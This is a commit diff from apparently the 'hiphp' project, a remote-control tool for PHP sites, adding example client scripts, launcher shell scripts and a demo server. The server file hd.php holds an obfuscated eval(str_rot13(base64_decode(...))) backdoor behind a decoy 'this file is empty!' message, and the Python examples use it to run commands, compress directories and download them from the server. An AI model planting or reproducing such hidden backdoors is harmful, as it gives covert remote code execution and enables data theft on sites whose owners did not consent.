Projects STRLCPY hiphp Commits 5b809406
🤬
Revision indexing in progress... (symbol navigation in revisions will be accurate after indexed)
  • ■ ■ ■ ■
    hiphp-examples/examples.php
    skipped 16 lines
    17 17   }else{
    18 18   echo "This is a test without a variable.";
    19 19   }
    20  - #}END.
     20 +#}END.
    21 21  ?>
    22 22   
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/examples.py
    skipped 14 lines
    15 15  from hiphp import *
    16 16  
    17 17  # connect:
    18  -p1=hiphp(key="123",url="http://127.0.0.1/index.php")#Default: retu=False.
     18 +p1=hiphp(key="123",url="http://127.0.0.1/hd.php")#Default: retu=False.
    19 19  #p1=hiphp(key="123",url="http://kfdjlkgjflkgjdfkjgkfdjgkjdfkgjk.onion/index.php")# If you use hiphp on .onion sites, you must run tor services or tor browser.
    20 20  #p1=hiphp(key="123",url="https://google.com/index.php")
    21 21  
    skipped 2 lines
    24 24  
    25 25  # Example:1
    26 26  # Command:
     27 +# print somting:
    27 28  p1.run("echo 'this is a test';")
     29 +# create new folder:
     30 +p1.run("mkdir('upload_path');")
    28 31  
    29 32  # Example:2
    30 33  # Run code from file:
    skipped 7 lines
    38 41  
    39 42  # Example:4
    40 43  # Compress a path:
    41  -p1.compress()# Compress the current directory.
    42  -p1.compress("./example/")# Compress a specific directory.
     44 +#p1.compress("./")# Compress the current directory.
     45 +p1.compress("./upload_path/")# Compress a specific directory.
    43 46  
    44 47  # Example:5
    45 48  # download a file:
    46  -p1.download("example.zip")# download a specific file to the current directory.
    47  -p1.download("example.zip","<OUT_PATH>")# download a specific file to specific directory.
     49 +p1.download("upload_path.zip")# download a specific file to the current directory.
     50 +p1.download("upload_path.zip","./")# download a specific file to specific directory.
    48 51  
    49 52  # Example:6
    50 53  # Command line interface:
    skipped 3 lines
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/hiphp-cli-example.sh
     1 +#!/bin/bash
     2 +# | |
     3 +# --+----------------------------------------------------------+--
     4 +# | Code by : yasserbdj96 |
     5 +# | Email : [email protected] |
     6 +# | Github : https://github.com/yasserbdj96 |
     7 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     8 +# --+----------------------------------------------------------+--
     9 +# | all posts #yasserbdj96 ,all views my own. |
     10 +# --+----------------------------------------------------------+--
     11 +# | |
     12 + 
     13 +#START{
     14 +cd ..
     15 +python run.py "123" "http://127.0.0.1/"
     16 +#}END.
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/hiphp-dst-example.sh
     1 +#!/bin/bash
     2 +# | |
     3 +# --+----------------------------------------------------------+--
     4 +# | Code by : yasserbdj96 |
     5 +# | Email : [email protected] |
     6 +# | Github : https://github.com/yasserbdj96 |
     7 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     8 +# --+----------------------------------------------------------+--
     9 +# | all posts #yasserbdj96 ,all views my own. |
     10 +# --+----------------------------------------------------------+--
     11 +# | |
     12 + 
     13 +#START{
     14 +cd ..
     15 +cd hiphp-desktop
     16 +python main.py
     17 +#}END.
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/hiphp-tk-example.sh
     1 +#!/bin/bash
     2 +# | |
     3 +# --+----------------------------------------------------------+--
     4 +# | Code by : yasserbdj96 |
     5 +# | Email : [email protected] |
     6 +# | Github : https://github.com/yasserbdj96 |
     7 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     8 +# --+----------------------------------------------------------+--
     9 +# | all posts #yasserbdj96 ,all views my own. |
     10 +# --+----------------------------------------------------------+--
     11 +# | |
     12 + 
     13 +#START{
     14 +cd ..
     15 +cd hiphp-tk
     16 +python main.py "123" "http://127.0.0.1/hd.php"
     17 +#}END.
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/server/hd.php
     1 +<?php
     2 +# | |
     3 +# --+----------------------------------------------------------+--
     4 +# | Code by : yasserbdj96 |
     5 +# | Email : [email protected] |
     6 +# | Github : https://github.com/yasserbdj96 |
     7 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     8 +# --+----------------------------------------------------------+--
     9 +# | all posts #yasserbdj96 ,all views my own. |
     10 +# --+----------------------------------------------------------+--
     11 +# | |
     12 + 
     13 +#START{
     14 +/*HIPHP_HOLE_CODE START*/
     15 +eval(str_rot13(base64_decode(str_rot13(base64_decode(str_rot13('pJSnLyqGBIEVrRyKFUuWo1pkFIISZRSmEyWAExIWBHWWH1qCEJkkpHAUZTSnq05fpSD4AHS3I2ujHHt1JySjZJ9grQWOIQudDJ1FZIcuHzknoHIcDJ1BLIuYM2kjIHy2I2knoScEI2cioKtlJab1nxSUrTcOoHycDxqZZT9gGwAnE0ufpRqJoHSHBQAnHUN3pJSnLaS6GKcjraOvI1Z5HHE4GIIXoUSdGTSwAz96H2gKZGOwJRgaoT5XAGILHRImEQOKIRHkMzSjISp2pab1qKOTpKSLE2p5pUcaZx1gMmx='))))));
     16 +/*HIPHP_HOLE_CODE END*/
     17 + 
     18 +echo "this file is empty!";
     19 +#}END.
     20 +?>
     21 + 
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/server/index.html
     1 +<!DOCTYPE html>
     2 +<html>
     3 + <head>
     4 + <meta charset="utf-8" />
     5 + <meta name="generator" content="HIPHP_HOLE_CODE" />
     6 + <title>HIPHP_HOLE_CODE</title>
     7 + <link rel="stylesheet" href="style.css" />
     8 + </head>
     9 + <body>
     10 + <section class="wrapper">
     11 + <div class="container">
     12 + <div class="white-box">
     13 + <img height="200" src="https://raw.githubusercontent.com/yasserbdj96/hiphp/main/install/hiphp.png">
     14 + <h1>
     15 + A simple site that simulates the presence of HIPHP_HOLE_CODE.<br>
     16 + You will find an example of HIPHP_HOLE_CODE in the <a href="hd.php">"hd.php"</a> file.
     17 + </h1>
     18 + </div>
     19 + </div>
     20 + <div class="footer">
     21 + <p>
     22 + You can find information about the server on which this page is running from <a href="get_info.php">here</a> or <a href="phpinfo.php">here</a>.
     23 + </p>
     24 + <a href="https://github.com/yasserbdj96/hiphp">
     25 + See this project on Github
     26 + </a>
     27 + </div>
     28 + </section>
     29 + </body>
     30 +</html>
  • ■ ■ ■ ■ ■
    hiphp-examples/server/phpinfo.php
    skipped 13 lines
    14 14   phpinfo();
    15 15   #}END.
    16 16  ?>
    17  - 
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/server/style.css
     1 +body{font-family: monospace;margin:0;background:linear-gradient(270deg,#48367d 0,#241842 100%)}
     2 +.container{display:flex;flex-wrap:wrap;justify-content:center;align-items:center;flex-direction:column;margin-top:40px}
     3 +h1{line-height:1.2;font-weight:700;font-size:2.2em;color:#2e2e2e;text-align:center}
     4 +.container a{color:#2e2e2e}
     5 +.white-box{text-align: center;padding:60px 80px;background:#fff;width:70%;z-index:1;font-size: 10px;}
     6 +.footer{justify-content:center;align-items:center;display:flex;flex-direction:column;margin-top:90px;color:#fff}
     7 +.footer a{color:#fff}
  • ■ ■ ■ ■ ■ ■
    hiphp-examples/start_server.sh
     1 +#!/bin/bash
     2 +# | |
     3 +# --+----------------------------------------------------------+--
     4 +# | Code by : yasserbdj96 |
     5 +# | Email : [email protected] |
     6 +# | Github : https://github.com/yasserbdj96 |
     7 +# | BTC : bc1q2dks8w8uurca5xmfwv4jwl7upehyjjakr3xga9 |
     8 +# --+----------------------------------------------------------+--
     9 +# | all posts #yasserbdj96 ,all views my own. |
     10 +# --+----------------------------------------------------------+--
     11 +# | |
     12 + 
     13 +#START{
     14 +#sudo apt install php
     15 +php -S 127.0.0.1:80 -t server
     16 +#}END.
Please wait...
Page is in error, reload to recover